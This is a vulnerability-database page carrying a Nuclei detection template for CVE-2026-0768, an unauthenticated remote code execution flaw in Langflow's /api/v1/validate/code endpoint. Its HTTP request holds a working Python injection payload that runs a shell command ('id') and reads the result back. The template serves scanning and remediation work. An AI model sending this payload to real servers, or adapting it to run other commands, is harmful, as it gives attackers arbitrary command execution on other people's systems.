Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for CVE-2026-0770 | 7 Feb 202623:31 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 2 Sep 202620:46 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 1 Sep 202608:01 | – | githubexploit | |
| CVE-2026-0768 | 23 Jan 202603:28 | – | attackerkb | |
| CVE-2026-0768 | 9 Jan 202605:00 | – | circl | |
| Langflow code injection vulnerability | 23 Jan 202600:00 | – | cnnvd | |
| CVE-2026-0768 | 23 Jan 202603:28 | – | cve | |
| CVE-2026-0768 Langflow code Code Injection Remote Code Execution Vulnerability | 23 Jan 202603:28 | – | cvelist | |
| EUVD-2026-4453 | 23 Jan 202603:28 | – | euvd | |
| CVE-2026-0770-PoC | 10 Sep 202600:57 | – | kitploit |
10
id: CVE-2026-0768
info:
name: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
author: DhiyaneshDk
severity: critical
description: |
Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.
impact: |
An unauthenticated attacker can execute arbitrary OS commands on the server running Langflow.
remediation: |
Upgrade Langflow to a version that requires authentication on the validate/code endpoint.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-0768
- https://www.pruva.dev/reproductions/REPRO-2026-00342
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-0768
cwe-id: CWE-94
metadata:
verified: true
max-request: 1
vendor: langflow-ai
product: langflow
tags: cve,cve2026,langflow,rce,code-injection,unauth
http:
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "uid=", "gid=", "function")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- '(uid=[0-9]+\([a-z_]+\)[^ ]*)'
# digest: 490a0046304402205ea172a5fc62932283567652223d2bb6ec747a5e4d6dbd2ed8f2f44312cd9d3d02201fd87d9157e5dbd45b8c4df50f459b32b8cc8c18675ab18fab41f7351c357adf:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Sep 2026 03:48Current
CVSS 39.8
EPSS0.0231
SSVC